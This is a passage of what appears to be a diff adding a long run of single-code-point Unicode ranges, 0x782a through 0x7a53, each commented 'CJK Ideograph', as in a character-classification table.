+ [0x782a, 0x782a], /* CJK Ideograph */
+ [0x782b, 0x782b], /* CJK Ideograph */
+ [0x782c, 0x782c], /* CJK Ideograph */
+ [0x782d, 0x782d], /* CJK Ideograph */
+ [0x782e, 0x782e], /* CJK Ideograph */
+ [0x782f, 0x782f], /* CJK Ideograph */
+ [0x7830, 0x7830], /* CJK Ideograph */
+ [0x7831, 0x7831], /* CJK Ideograph */
+ [0x7832, 0x7832], /* CJK Ideograph */
+ [0x7833, 0x7833], /* CJK Ideograph */
+ [0x7834, 0x7834], /* CJK Ideograph */
+ [0x7835, 0x7835], /* CJK Ideograph */
+ [0x7836, 0x7836], /* CJK Ideograph */
+ [0x7837, 0x7837], /* CJK Ideograph */
+ [0x7838, 0x7838], /* CJK Ideograph */
+ [0x7839, 0x7839], /* CJK Ideograph */
+ [0x783a, 0x783a], /* CJK Ideograph */
+ [0x783b, 0x783b], /* CJK Ideograph */
+ [0x783c, 0x783c], /* CJK Ideograph */
+ [0x783d, 0x783d], /* CJK Ideograph */
+ [0x783e, 0x783e], /* CJK Ideograph */
+ [0x783f, 0x783f], /* CJK Ideograph */
+ [0x7840, 0x7840], /* CJK Ideograph */
+ [0x7841, 0x7841], /* CJK Ideograph */
+ [0x7842, 0x7842], /* CJK Ideograph */
+ [0x7843, 0x7843], /* CJK Ideograph */
+ [0x7844, 0x7844], /* CJK Ideograph */
+ [0x7845, 0x7845], /* CJK Ideograph */
+ [0x7846, 0x7846], /* CJK Ideograph */
+ [0x7847, 0x7847], /* CJK Ideograph */
+ [0x7848, 0x7848], /* CJK Ideograph */
+ [0x7849, 0x7849], /* CJK Ideograph */
+ [0x784a, 0x784a], /* CJK Ideograph */
+ [0x784b, 0x784b], /* CJK Ideograph */
+ [0x784c, 0x784c], /* CJK Ideograph */
+ [0x784d, 0x784d], /* CJK Ideograph */
+ [0x784e, 0x784e], /* CJK Ideograph */
+ [0x784f, 0x784f], /* CJK Ideograph */
+ [0x7850, 0x7850], /* CJK Ideograph */
+ [0x7851, 0x7851], /* CJK Ideograph */
+ [0x7852, 0x7852], /* CJK Ideograph */
+ [0x7853, 0x7853], /* CJK Ideograph */
+ [0x7854, 0x7854], /* CJK Ideograph */
+ [0x7855, 0x7855], /* CJK Ideograph */
+ [0x7856, 0x7856], /* CJK Ideograph */
+ [0x7857, 0x7857], /* CJK Ideograph */
+ [0x7858, 0x7858], /* CJK Ideograph */
+ [0x7859, 0x7859], /* CJK Ideograph */
+ [0x785a, 0x785a], /* CJK Ideograph */
+ [0x785b, 0x785b], /* CJK Ideograph */
+ [0x785c, 0x785c], /* CJK Ideograph */
+ [0x785d, 0x785d], /* CJK Ideograph */
+ [0x785e, 0x785e], /* CJK Ideograph */
+ [0x785f, 0x785f], /* CJK Ideograph */
+ [0x7860, 0x7860], /* CJK Ideograph */
+ [0x7861, 0x7861], /* CJK Ideograph */
+ [0x7862, 0x7862], /* CJK Ideograph */
+ [0x7863, 0x7863], /* CJK Ideograph */
+ [0x7864, 0x7864], /* CJK Ideograph */
+ [0x7865, 0x7865], /* CJK Ideograph */
+ [0x7866, 0x7866], /* CJK Ideograph */
+ [0x7867, 0x7867], /* CJK Ideograph */
+ [0x7868, 0x7868], /* CJK Ideograph */
+ [0x7869, 0x7869], /* CJK Ideograph */
+ [0x786a, 0x786a], /* CJK Ideograph */
+ [0x786b, 0x786b], /* CJK Ideograph */
+ [0x786c, 0x786c], /* CJK Ideograph */
+ [0x786d, 0x786d], /* CJK Ideograph */
+ [0x786e, 0x786e], /* CJK Ideograph */
+ [0x786f, 0x786f], /* CJK Ideograph */
+ [0x7870, 0x7870], /* CJK Ideograph */
+ [0x7871, 0x7871], /* CJK Ideograph */
+ [0x7872, 0x7872], /* CJK Ideograph */
+ [0x7873, 0x7873], /* CJK Ideograph */
+ [0x7874, 0x7874], /* CJK Ideograph */
+ [0x7875, 0x7875], /* CJK Ideograph */
+ [0x7876, 0x7876], /* CJK Ideograph */
+ [0x7877, 0x7877], /* CJK Ideograph */
+ [0x7878, 0x7878], /* CJK Ideograph */
+ [0x7879, 0x7879], /* CJK Ideograph */
+ [0x787a, 0x787a], /* CJK Ideograph */
+ [0x787b, 0x787b], /* CJK Ideograph */
+ [0x787c, 0x787c], /* CJK Ideograph */
+ [0x787d, 0x787d], /* CJK Ideograph */
+ [0x787e, 0x787e], /* CJK Ideograph */
+ [0x787f, 0x787f], /* CJK Ideograph */
+ [0x7880, 0x7880], /* CJK Ideograph */
+ [0x7881, 0x7881], /* CJK Ideograph */
+ [0x7882, 0x7882], /* CJK Ideograph */
+ [0x7883, 0x7883], /* CJK Ideograph */
+ [0x7884, 0x7884], /* CJK Ideograph */
+ [0x7885, 0x7885], /* CJK Ideograph */
+ [0x7886, 0x7886], /* CJK Ideograph */
+ [0x7887, 0x7887], /* CJK Ideograph */
+ [0x7888, 0x7888], /* CJK Ideograph */
+ [0x7889, 0x7889], /* CJK Ideograph */
+ [0x788a, 0x788a], /* CJK Ideograph */
+ [0x788b, 0x788b], /* CJK Ideograph */
+ [0x788c, 0x788c], /* CJK Ideograph */
+ [0x788d, 0x788d], /* CJK Ideograph */
+ [0x788e, 0x788e], /* CJK Ideograph */
+ [0x788f, 0x788f], /* CJK Ideograph */
+ [0x7890, 0x7890], /* CJK Ideograph */
+ [0x7891, 0x7891], /* CJK Ideograph */
+ [0x7892, 0x7892], /* CJK Ideograph */
+ [0x7893, 0x7893], /* CJK Ideograph */
+ [0x7894, 0x7894], /* CJK Ideograph */
+ [0x7895, 0x7895], /* CJK Ideograph */
+ [0x7896, 0x7896], /* CJK Ideograph */
+ [0x7897, 0x7897], /* CJK Ideograph */
+ [0x7898, 0x7898], /* CJK Ideograph */
+ [0x7899, 0x7899], /* CJK Ideograph */
+ [0x789a, 0x789a], /* CJK Ideograph */
+ [0x789b, 0x789b], /* CJK Ideograph */
+ [0x789c, 0x789c], /* CJK Ideograph */
+ [0x789d, 0x789d], /* CJK Ideograph */
+ [0x789e, 0x789e], /* CJK Ideograph */
+ [0x789f, 0x789f], /* CJK Ideograph */
+ [0x78a0, 0x78a0], /* CJK Ideograph */
+ [0x78a1, 0x78a1], /* CJK Ideograph */
+ [0x78a2, 0x78a2], /* CJK Ideograph */
+ [0x78a3, 0x78a3], /* CJK Ideograph */
+ [0x78a4, 0x78a4], /* CJK Ideograph */
+ [0x78a5, 0x78a5], /* CJK Ideograph */
+ [0x78a6, 0x78a6], /* CJK Ideograph */
+ [0x78a7, 0x78a7], /* CJK Ideograph */
+ [0x78a8, 0x78a8], /* CJK Ideograph */
+ [0x78a9, 0x78a9], /* CJK Ideograph */
+ [0x78aa, 0x78aa], /* CJK Ideograph */
+ [0x78ab, 0x78ab], /* CJK Ideograph */
+ [0x78ac, 0x78ac], /* CJK Ideograph */
+ [0x78ad, 0x78ad], /* CJK Ideograph */
+ [0x78ae, 0x78ae], /* CJK Ideograph */
+ [0x78af, 0x78af], /* CJK Ideograph */
+ [0x78b0, 0x78b0], /* CJK Ideograph */
+ [0x78b1, 0x78b1], /* CJK Ideograph */
+ [0x78b2, 0x78b2], /* CJK Ideograph */
+ [0x78b3, 0x78b3], /* CJK Ideograph */
+ [0x78b4, 0x78b4], /* CJK Ideograph */
+ [0x78b5, 0x78b5], /* CJK Ideograph */
+ [0x78b6, 0x78b6], /* CJK Ideograph */
+ [0x78b7, 0x78b7], /* CJK Ideograph */
+ [0x78b8, 0x78b8], /* CJK Ideograph */
+ [0x78b9, 0x78b9], /* CJK Ideograph */
+ [0x78ba, 0x78ba], /* CJK Ideograph */
+ [0x78bb, 0x78bb], /* CJK Ideograph */
+ [0x78bc, 0x78bc], /* CJK Ideograph */
+ [0x78bd, 0x78bd], /* CJK Ideograph */
+ [0x78be, 0x78be], /* CJK Ideograph */
+ [0x78bf, 0x78bf], /* CJK Ideograph */
+ [0x78c0, 0x78c0], /* CJK Ideograph */
+ [0x78c1, 0x78c1], /* CJK Ideograph */
+ [0x78c2, 0x78c2], /* CJK Ideograph */
+ [0x78c3, 0x78c3], /* CJK Ideograph */
+ [0x78c4, 0x78c4], /* CJK Ideograph */
+ [0x78c5, 0x78c5], /* CJK Ideograph */
+ [0x78c6, 0x78c6], /* CJK Ideograph */
+ [0x78c7, 0x78c7], /* CJK Ideograph */
+ [0x78c8, 0x78c8], /* CJK Ideograph */
+ [0x78c9, 0x78c9], /* CJK Ideograph */
+ [0x78ca, 0x78ca], /* CJK Ideograph */
+ [0x78cb, 0x78cb], /* CJK Ideograph */
+ [0x78cc, 0x78cc], /* CJK Ideograph */
+ [0x78cd, 0x78cd], /* CJK Ideograph */
+ [0x78ce, 0x78ce], /* CJK Ideograph */
+ [0x78cf, 0x78cf], /* CJK Ideograph */
+ [0x78d0, 0x78d0], /* CJK Ideograph */
+ [0x78d1, 0x78d1], /* CJK Ideograph */
+ [0x78d2, 0x78d2], /* CJK Ideograph */
+ [0x78d3, 0x78d3], /* CJK Ideograph */
+ [0x78d4, 0x78d4], /* CJK Ideograph */
+ [0x78d5, 0x78d5], /* CJK Ideograph */
+ [0x78d6, 0x78d6], /* CJK Ideograph */
+ [0x78d7, 0x78d7], /* CJK Ideograph */
+ [0x78d8, 0x78d8], /* CJK Ideograph */
+ [0x78d9, 0x78d9], /* CJK Ideograph */
+ [0x78da, 0x78da], /* CJK Ideograph */
+ [0x78db, 0x78db], /* CJK Ideograph */
+ [0x78dc, 0x78dc], /* CJK Ideograph */
+ [0x78dd, 0x78dd], /* CJK Ideograph */
+ [0x78de, 0x78de], /* CJK Ideograph */
+ [0x78df, 0x78df], /* CJK Ideograph */
+ [0x78e0, 0x78e0], /* CJK Ideograph */
+ [0x78e1, 0x78e1], /* CJK Ideograph */
+ [0x78e2, 0x78e2], /* CJK Ideograph */
+ [0x78e3, 0x78e3], /* CJK Ideograph */
+ [0x78e4, 0x78e4], /* CJK Ideograph */
+ [0x78e5, 0x78e5], /* CJK Ideograph */
+ [0x78e6, 0x78e6], /* CJK Ideograph */
+ [0x78e7, 0x78e7], /* CJK Ideograph */
+ [0x78e8, 0x78e8], /* CJK Ideograph */
+ [0x78e9, 0x78e9], /* CJK Ideograph */
+ [0x78ea, 0x78ea], /* CJK Ideograph */
+ [0x78eb, 0x78eb], /* CJK Ideograph */
+ [0x78ec, 0x78ec], /* CJK Ideograph */
+ [0x78ed, 0x78ed], /* CJK Ideograph */
+ [0x78ee, 0x78ee], /* CJK Ideograph */
+ [0x78ef, 0x78ef], /* CJK Ideograph */
+ [0x78f0, 0x78f0], /* CJK Ideograph */
+ [0x78f1, 0x78f1], /* CJK Ideograph */
+ [0x78f2, 0x78f2], /* CJK Ideograph */
+ [0x78f3, 0x78f3], /* CJK Ideograph */
+ [0x78f4, 0x78f4], /* CJK Ideograph */
+ [0x78f5, 0x78f5], /* CJK Ideograph */
+ [0x78f6, 0x78f6], /* CJK Ideograph */
+ [0x78f7, 0x78f7], /* CJK Ideograph */
+ [0x78f8, 0x78f8], /* CJK Ideograph */
+ [0x78f9, 0x78f9], /* CJK Ideograph */
+ [0x78fa, 0x78fa], /* CJK Ideograph */
+ [0x78fb, 0x78fb], /* CJK Ideograph */
+ [0x78fc, 0x78fc], /* CJK Ideograph */
+ [0x78fd, 0x78fd], /* CJK Ideograph */
+ [0x78fe, 0x78fe], /* CJK Ideograph */
+ [0x78ff, 0x78ff], /* CJK Ideograph */
+ [0x7900, 0x7900], /* CJK Ideograph */
+ [0x7901, 0x7901], /* CJK Ideograph */
+ [0x7902, 0x7902], /* CJK Ideograph */
+ [0x7903, 0x7903], /* CJK Ideograph */
+ [0x7904, 0x7904], /* CJK Ideograph */
+ [0x7905, 0x7905], /* CJK Ideograph */
+ [0x7906, 0x7906], /* CJK Ideograph */
+ [0x7907, 0x7907], /* CJK Ideograph */
+ [0x7908, 0x7908], /* CJK Ideograph */
+ [0x7909, 0x7909], /* CJK Ideograph */
+ [0x790a, 0x790a], /* CJK Ideograph */
+ [0x790b, 0x790b], /* CJK Ideograph */
+ [0x790c, 0x790c], /* CJK Ideograph */
+ [0x790d, 0x790d], /* CJK Ideograph */
+ [0x790e, 0x790e], /* CJK Ideograph */
+ [0x790f, 0x790f], /* CJK Ideograph */
+ [0x7910, 0x7910], /* CJK Ideograph */
+ [0x7911, 0x7911], /* CJK Ideograph */
+ [0x7912, 0x7912], /* CJK Ideograph */
+ [0x7913, 0x7913], /* CJK Ideograph */
+ [0x7914, 0x7914], /* CJK Ideograph */
+ [0x7915, 0x7915], /* CJK Ideograph */
+ [0x7916, 0x7916], /* CJK Ideograph */
+ [0x7917, 0x7917], /* CJK Ideograph */
+ [0x7918, 0x7918], /* CJK Ideograph */
+ [0x7919, 0x7919], /* CJK Ideograph */
+ [0x791a, 0x791a], /* CJK Ideograph */
+ [0x791b, 0x791b], /* CJK Ideograph */
+ [0x791c, 0x791c], /* CJK Ideograph */
+ [0x791d, 0x791d], /* CJK Ideograph */
+ [0x791e, 0x791e], /* CJK Ideograph */
+ [0x791f, 0x791f], /* CJK Ideograph */
+ [0x7920, 0x7920], /* CJK Ideograph */
+ [0x7921, 0x7921], /* CJK Ideograph */
+ [0x7922, 0x7922], /* CJK Ideograph */
+ [0x7923, 0x7923], /* CJK Ideograph */
+ [0x7924, 0x7924], /* CJK Ideograph */
+ [0x7925, 0x7925], /* CJK Ideograph */
+ [0x7926, 0x7926], /* CJK Ideograph */
+ [0x7927, 0x7927], /* CJK Ideograph */
+ [0x7928, 0x7928], /* CJK Ideograph */
+ [0x7929, 0x7929], /* CJK Ideograph */
+ [0x792a, 0x792a], /* CJK Ideograph */
+ [0x792b, 0x792b], /* CJK Ideograph */
+ [0x792c, 0x792c], /* CJK Ideograph */
+ [0x792d, 0x792d], /* CJK Ideograph */
+ [0x792e, 0x792e], /* CJK Ideograph */
+ [0x792f, 0x792f], /* CJK Ideograph */
+ [0x7930, 0x7930], /* CJK Ideograph */
+ [0x7931, 0x7931], /* CJK Ideograph */
+ [0x7932, 0x7932], /* CJK Ideograph */
+ [0x7933, 0x7933], /* CJK Ideograph */
+ [0x7934, 0x7934], /* CJK Ideograph */
+ [0x7935, 0x7935], /* CJK Ideograph */
+ [0x7936, 0x7936], /* CJK Ideograph */
+ [0x7937, 0x7937], /* CJK Ideograph */
+ [0x7938, 0x7938], /* CJK Ideograph */
+ [0x7939, 0x7939], /* CJK Ideograph */
+ [0x793a, 0x793a], /* CJK Ideograph */
+ [0x793b, 0x793b], /* CJK Ideograph */
+ [0x793c, 0x793c], /* CJK Ideograph */
+ [0x793d, 0x793d], /* CJK Ideograph */
+ [0x793e, 0x793e], /* CJK Ideograph */
+ [0x793f, 0x793f], /* CJK Ideograph */
+ [0x7940, 0x7940], /* CJK Ideograph */
+ [0x7941, 0x7941], /* CJK Ideograph */
+ [0x7942, 0x7942], /* CJK Ideograph */
+ [0x7943, 0x7943], /* CJK Ideograph */
+ [0x7944, 0x7944], /* CJK Ideograph */
+ [0x7945, 0x7945], /* CJK Ideograph */
+ [0x7946, 0x7946], /* CJK Ideograph */
+ [0x7947, 0x7947], /* CJK Ideograph */
+ [0x7948, 0x7948], /* CJK Ideograph */
+ [0x7949, 0x7949], /* CJK Ideograph */
+ [0x794a, 0x794a], /* CJK Ideograph */
+ [0x794b, 0x794b], /* CJK Ideograph */
+ [0x794c, 0x794c], /* CJK Ideograph */
+ [0x794d, 0x794d], /* CJK Ideograph */
+ [0x794e, 0x794e], /* CJK Ideograph */
+ [0x794f, 0x794f], /* CJK Ideograph */
+ [0x7950, 0x7950], /* CJK Ideograph */
+ [0x7951, 0x7951], /* CJK Ideograph */
+ [0x7952, 0x7952], /* CJK Ideograph */
+ [0x7953, 0x7953], /* CJK Ideograph */
+ [0x7954, 0x7954], /* CJK Ideograph */
+ [0x7955, 0x7955], /* CJK Ideograph */
+ [0x7956, 0x7956], /* CJK Ideograph */
+ [0x7957, 0x7957], /* CJK Ideograph */
+ [0x7958, 0x7958], /* CJK Ideograph */
+ [0x7959, 0x7959], /* CJK Ideograph */
+ [0x795a, 0x795a], /* CJK Ideograph */
+ [0x795b, 0x795b], /* CJK Ideograph */
+ [0x795c, 0x795c], /* CJK Ideograph */
+ [0x795d, 0x795d], /* CJK Ideograph */
+ [0x795e, 0x795e], /* CJK Ideograph */
+ [0x795f, 0x795f], /* CJK Ideograph */
+ [0x7960, 0x7960], /* CJK Ideograph */
+ [0x7961, 0x7961], /* CJK Ideograph */
+ [0x7962, 0x7962], /* CJK Ideograph */
+ [0x7963, 0x7963], /* CJK Ideograph */
+ [0x7964, 0x7964], /* CJK Ideograph */
+ [0x7965, 0x7965], /* CJK Ideograph */
+ [0x7966, 0x7966], /* CJK Ideograph */
+ [0x7967, 0x7967], /* CJK Ideograph */
+ [0x7968, 0x7968], /* CJK Ideograph */
+ [0x7969, 0x7969], /* CJK Ideograph */
+ [0x796a, 0x796a], /* CJK Ideograph */
+ [0x796b, 0x796b], /* CJK Ideograph */
+ [0x796c, 0x796c], /* CJK Ideograph */
+ [0x796d, 0x796d], /* CJK Ideograph */
+ [0x796e, 0x796e], /* CJK Ideograph */
+ [0x796f, 0x796f], /* CJK Ideograph */
+ [0x7970, 0x7970], /* CJK Ideograph */
+ [0x7971, 0x7971], /* CJK Ideograph */
+ [0x7972, 0x7972], /* CJK Ideograph */
+ [0x7973, 0x7973], /* CJK Ideograph */
+ [0x7974, 0x7974], /* CJK Ideograph */
+ [0x7975, 0x7975], /* CJK Ideograph */
+ [0x7976, 0x7976], /* CJK Ideograph */
+ [0x7977, 0x7977], /* CJK Ideograph */
+ [0x7978, 0x7978], /* CJK Ideograph */
+ [0x7979, 0x7979], /* CJK Ideograph */
+ [0x797a, 0x797a], /* CJK Ideograph */
+ [0x797b, 0x797b], /* CJK Ideograph */
+ [0x797c, 0x797c], /* CJK Ideograph */
+ [0x797d, 0x797d], /* CJK Ideograph */
+ [0x797e, 0x797e], /* CJK Ideograph */
+ [0x797f, 0x797f], /* CJK Ideograph */
+ [0x7980, 0x7980], /* CJK Ideograph */
+ [0x7981, 0x7981], /* CJK Ideograph */
+ [0x7982, 0x7982], /* CJK Ideograph */
+ [0x7983, 0x7983], /* CJK Ideograph */
+ [0x7984, 0x7984], /* CJK Ideograph */
+ [0x7985, 0x7985], /* CJK Ideograph */
+ [0x7986, 0x7986], /* CJK Ideograph */
+ [0x7987, 0x7987], /* CJK Ideograph */
+ [0x7988, 0x7988], /* CJK Ideograph */
+ [0x7989, 0x7989], /* CJK Ideograph */
+ [0x798a, 0x798a], /* CJK Ideograph */
+ [0x798b, 0x798b], /* CJK Ideograph */
+ [0x798c, 0x798c], /* CJK Ideograph */
+ [0x798d, 0x798d], /* CJK Ideograph */
+ [0x798e, 0x798e], /* CJK Ideograph */
+ [0x798f, 0x798f], /* CJK Ideograph */
+ [0x7990, 0x7990], /* CJK Ideograph */
+ [0x7991, 0x7991], /* CJK Ideograph */
+ [0x7992, 0x7992], /* CJK Ideograph */
+ [0x7993, 0x7993], /* CJK Ideograph */
+ [0x7994, 0x7994], /* CJK Ideograph */
+ [0x7995, 0x7995], /* CJK Ideograph */
+ [0x7996, 0x7996], /* CJK Ideograph */
+ [0x7997, 0x7997], /* CJK Ideograph */
+ [0x7998, 0x7998], /* CJK Ideograph */
+ [0x7999, 0x7999], /* CJK Ideograph */
+ [0x799a, 0x799a], /* CJK Ideograph */
+ [0x799b, 0x799b], /* CJK Ideograph */
+ [0x799c, 0x799c], /* CJK Ideograph */
+ [0x799d, 0x799d], /* CJK Ideograph */
+ [0x799e, 0x799e], /* CJK Ideograph */
+ [0x799f, 0x799f], /* CJK Ideograph */
+ [0x79a0, 0x79a0], /* CJK Ideograph */
+ [0x79a1, 0x79a1], /* CJK Ideograph */
+ [0x79a2, 0x79a2], /* CJK Ideograph */
+ [0x79a3, 0x79a3], /* CJK Ideograph */
+ [0x79a4, 0x79a4], /* CJK Ideograph */
+ [0x79a5, 0x79a5], /* CJK Ideograph */
+ [0x79a6, 0x79a6], /* CJK Ideograph */
+ [0x79a7, 0x79a7], /* CJK Ideograph */
+ [0x79a8, 0x79a8], /* CJK Ideograph */
+ [0x79a9, 0x79a9], /* CJK Ideograph */
+ [0x79aa, 0x79aa], /* CJK Ideograph */
+ [0x79ab, 0x79ab], /* CJK Ideograph */
+ [0x79ac, 0x79ac], /* CJK Ideograph */
+ [0x79ad, 0x79ad], /* CJK Ideograph */
+ [0x79ae, 0x79ae], /* CJK Ideograph */
+ [0x79af, 0x79af], /* CJK Ideograph */
+ [0x79b0, 0x79b0], /* CJK Ideograph */
+ [0x79b1, 0x79b1], /* CJK Ideograph */
+ [0x79b2, 0x79b2], /* CJK Ideograph */
+ [0x79b3, 0x79b3], /* CJK Ideograph */
+ [0x79b4, 0x79b4], /* CJK Ideograph */
+ [0x79b5, 0x79b5], /* CJK Ideograph */
+ [0x79b6, 0x79b6], /* CJK Ideograph */
+ [0x79b7, 0x79b7], /* CJK Ideograph */
+ [0x79b8, 0x79b8], /* CJK Ideograph */
+ [0x79b9, 0x79b9], /* CJK Ideograph */
+ [0x79ba, 0x79ba], /* CJK Ideograph */
+ [0x79bb, 0x79bb], /* CJK Ideograph */
+ [0x79bc, 0x79bc], /* CJK Ideograph */
+ [0x79bd, 0x79bd], /* CJK Ideograph */
+ [0x79be, 0x79be], /* CJK Ideograph */
+ [0x79bf, 0x79bf], /* CJK Ideograph */
+ [0x79c0, 0x79c0], /* CJK Ideograph */
+ [0x79c1, 0x79c1], /* CJK Ideograph */
+ [0x79c2, 0x79c2], /* CJK Ideograph */
+ [0x79c3, 0x79c3], /* CJK Ideograph */
+ [0x79c4, 0x79c4], /* CJK Ideograph */
+ [0x79c5, 0x79c5], /* CJK Ideograph */
+ [0x79c6, 0x79c6], /* CJK Ideograph */
+ [0x79c7, 0x79c7], /* CJK Ideograph */
+ [0x79c8, 0x79c8], /* CJK Ideograph */
+ [0x79c9, 0x79c9], /* CJK Ideograph */
+ [0x79ca, 0x79ca], /* CJK Ideograph */
+ [0x79cb, 0x79cb], /* CJK Ideograph */
+ [0x79cc, 0x79cc], /* CJK Ideograph */
+ [0x79cd, 0x79cd], /* CJK Ideograph */
+ [0x79ce, 0x79ce], /* CJK Ideograph */
+ [0x79cf, 0x79cf], /* CJK Ideograph */
+ [0x79d0, 0x79d0], /* CJK Ideograph */
+ [0x79d1, 0x79d1], /* CJK Ideograph */
+ [0x79d2, 0x79d2], /* CJK Ideograph */
+ [0x79d3, 0x79d3], /* CJK Ideograph */
+ [0x79d4, 0x79d4], /* CJK Ideograph */
+ [0x79d5, 0x79d5], /* CJK Ideograph */
+ [0x79d6, 0x79d6], /* CJK Ideograph */
+ [0x79d7, 0x79d7], /* CJK Ideograph */
+ [0x79d8, 0x79d8], /* CJK Ideograph */
+ [0x79d9, 0x79d9], /* CJK Ideograph */
+ [0x79da, 0x79da], /* CJK Ideograph */
+ [0x79db, 0x79db], /* CJK Ideograph */
+ [0x79dc, 0x79dc], /* CJK Ideograph */
+ [0x79dd, 0x79dd], /* CJK Ideograph */
+ [0x79de, 0x79de], /* CJK Ideograph */
+ [0x79df, 0x79df], /* CJK Ideograph */
+ [0x79e0, 0x79e0], /* CJK Ideograph */
+ [0x79e1, 0x79e1], /* CJK Ideograph */
+ [0x79e2, 0x79e2], /* CJK Ideograph */
+ [0x79e3, 0x79e3], /* CJK Ideograph */
+ [0x79e4, 0x79e4], /* CJK Ideograph */
+ [0x79e5, 0x79e5], /* CJK Ideograph */
+ [0x79e6, 0x79e6], /* CJK Ideograph */
+ [0x79e7, 0x79e7], /* CJK Ideograph */
+ [0x79e8, 0x79e8], /* CJK Ideograph */
+ [0x79e9, 0x79e9], /* CJK Ideograph */
+ [0x79ea, 0x79ea], /* CJK Ideograph */
+ [0x79eb, 0x79eb], /* CJK Ideograph */
+ [0x79ec, 0x79ec], /* CJK Ideograph */
+ [0x79ed, 0x79ed], /* CJK Ideograph */
+ [0x79ee, 0x79ee], /* CJK Ideograph */
+ [0x79ef, 0x79ef], /* CJK Ideograph */
+ [0x79f0, 0x79f0], /* CJK Ideograph */
+ [0x79f1, 0x79f1], /* CJK Ideograph */
+ [0x79f2, 0x79f2], /* CJK Ideograph */
+ [0x79f3, 0x79f3], /* CJK Ideograph */
+ [0x79f4, 0x79f4], /* CJK Ideograph */
+ [0x79f5, 0x79f5], /* CJK Ideograph */
+ [0x79f6, 0x79f6], /* CJK Ideograph */
+ [0x79f7, 0x79f7], /* CJK Ideograph */
+ [0x79f8, 0x79f8], /* CJK Ideograph */
+ [0x79f9, 0x79f9], /* CJK Ideograph */
+ [0x79fa, 0x79fa], /* CJK Ideograph */
+ [0x79fb, 0x79fb], /* CJK Ideograph */
+ [0x79fc, 0x79fc], /* CJK Ideograph */
+ [0x79fd, 0x79fd], /* CJK Ideograph */
+ [0x79fe, 0x79fe], /* CJK Ideograph */
+ [0x79ff, 0x79ff], /* CJK Ideograph */
+ [0x7a00, 0x7a00], /* CJK Ideograph */
+ [0x7a01, 0x7a01], /* CJK Ideograph */
+ [0x7a02, 0x7a02], /* CJK Ideograph */
+ [0x7a03, 0x7a03], /* CJK Ideograph */
+ [0x7a04, 0x7a04], /* CJK Ideograph */
+ [0x7a05, 0x7a05], /* CJK Ideograph */
+ [0x7a06, 0x7a06], /* CJK Ideograph */
+ [0x7a07, 0x7a07], /* CJK Ideograph */
+ [0x7a08, 0x7a08], /* CJK Ideograph */
+ [0x7a09, 0x7a09], /* CJK Ideograph */
+ [0x7a0a, 0x7a0a], /* CJK Ideograph */
+ [0x7a0b, 0x7a0b], /* CJK Ideograph */
+ [0x7a0c, 0x7a0c], /* CJK Ideograph */
+ [0x7a0d, 0x7a0d], /* CJK Ideograph */
+ [0x7a0e, 0x7a0e], /* CJK Ideograph */
+ [0x7a0f, 0x7a0f], /* CJK Ideograph */
+ [0x7a10, 0x7a10], /* CJK Ideograph */
+ [0x7a11, 0x7a11], /* CJK Ideograph */
+ [0x7a12, 0x7a12], /* CJK Ideograph */
+ [0x7a13, 0x7a13], /* CJK Ideograph */
+ [0x7a14, 0x7a14], /* CJK Ideograph */
+ [0x7a15, 0x7a15], /* CJK Ideograph */
+ [0x7a16, 0x7a16], /* CJK Ideograph */
+ [0x7a17, 0x7a17], /* CJK Ideograph */
+ [0x7a18, 0x7a18], /* CJK Ideograph */
+ [0x7a19, 0x7a19], /* CJK Ideograph */
+ [0x7a1a, 0x7a1a], /* CJK Ideograph */
+ [0x7a1b, 0x7a1b], /* CJK Ideograph */
+ [0x7a1c, 0x7a1c], /* CJK Ideograph */
+ [0x7a1d, 0x7a1d], /* CJK Ideograph */
+ [0x7a1e, 0x7a1e], /* CJK Ideograph */
+ [0x7a1f, 0x7a1f], /* CJK Ideograph */
+ [0x7a20, 0x7a20], /* CJK Ideograph */
+ [0x7a21, 0x7a21], /* CJK Ideograph */
+ [0x7a22, 0x7a22], /* CJK Ideograph */
+ [0x7a23, 0x7a23], /* CJK Ideograph */
+ [0x7a24, 0x7a24], /* CJK Ideograph */
+ [0x7a25, 0x7a25], /* CJK Ideograph */
+ [0x7a26, 0x7a26], /* CJK Ideograph */
+ [0x7a27, 0x7a27], /* CJK Ideograph */
+ [0x7a28, 0x7a28], /* CJK Ideograph */
+ [0x7a29, 0x7a29], /* CJK Ideograph */
+ [0x7a2a, 0x7a2a], /* CJK Ideograph */
+ [0x7a2b, 0x7a2b], /* CJK Ideograph */
+ [0x7a2c, 0x7a2c], /* CJK Ideograph */
+ [0x7a2d, 0x7a2d], /* CJK Ideograph */
+ [0x7a2e, 0x7a2e], /* CJK Ideograph */
+ [0x7a2f, 0x7a2f], /* CJK Ideograph */
+ [0x7a30, 0x7a30], /* CJK Ideograph */
+ [0x7a31, 0x7a31], /* CJK Ideograph */
+ [0x7a32, 0x7a32], /* CJK Ideograph */
+ [0x7a33, 0x7a33], /* CJK Ideograph */
+ [0x7a34, 0x7a34], /* CJK Ideograph */
+ [0x7a35, 0x7a35], /* CJK Ideograph */
+ [0x7a36, 0x7a36], /* CJK Ideograph */
+ [0x7a37, 0x7a37], /* CJK Ideograph */
+ [0x7a38, 0x7a38], /* CJK Ideograph */
+ [0x7a39, 0x7a39], /* CJK Ideograph */
+ [0x7a3a, 0x7a3a], /* CJK Ideograph */
+ [0x7a3b, 0x7a3b], /* CJK Ideograph */
+ [0x7a3c, 0x7a3c], /* CJK Ideograph */
+ [0x7a3d, 0x7a3d], /* CJK Ideograph */
+ [0x7a3e, 0x7a3e], /* CJK Ideograph */
+ [0x7a3f, 0x7a3f], /* CJK Ideograph */
+ [0x7a40, 0x7a40], /* CJK Ideograph */
+ [0x7a41, 0x7a41], /* CJK Ideograph */
+ [0x7a42, 0x7a42], /* CJK Ideograph */
+ [0x7a43, 0x7a43], /* CJK Ideograph */
+ [0x7a44, 0x7a44], /* CJK Ideograph */
+ [0x7a45, 0x7a45], /* CJK Ideograph */
+ [0x7a46, 0x7a46], /* CJK Ideograph */
+ [0x7a47, 0x7a47], /* CJK Ideograph */
+ [0x7a48, 0x7a48], /* CJK Ideograph */
+ [0x7a49, 0x7a49], /* CJK Ideograph */
+ [0x7a4a, 0x7a4a], /* CJK Ideograph */
+ [0x7a4b, 0x7a4b], /* CJK Ideograph */
+ [0x7a4c, 0x7a4c], /* CJK Ideograph */
+ [0x7a4d, 0x7a4d], /* CJK Ideograph */
+ [0x7a4e, 0x7a4e], /* CJK Ideograph */
+ [0x7a4f, 0x7a4f], /* CJK Ideograph */
+ [0x7a50, 0x7a50], /* CJK Ideograph */
+ [0x7a51, 0x7a51], /* CJK Ideograph */
+ [0x7a52, 0x7a52], /* CJK Ideograph */
+ [0x7a53, 0x7a53], /* CJK Ideograph */
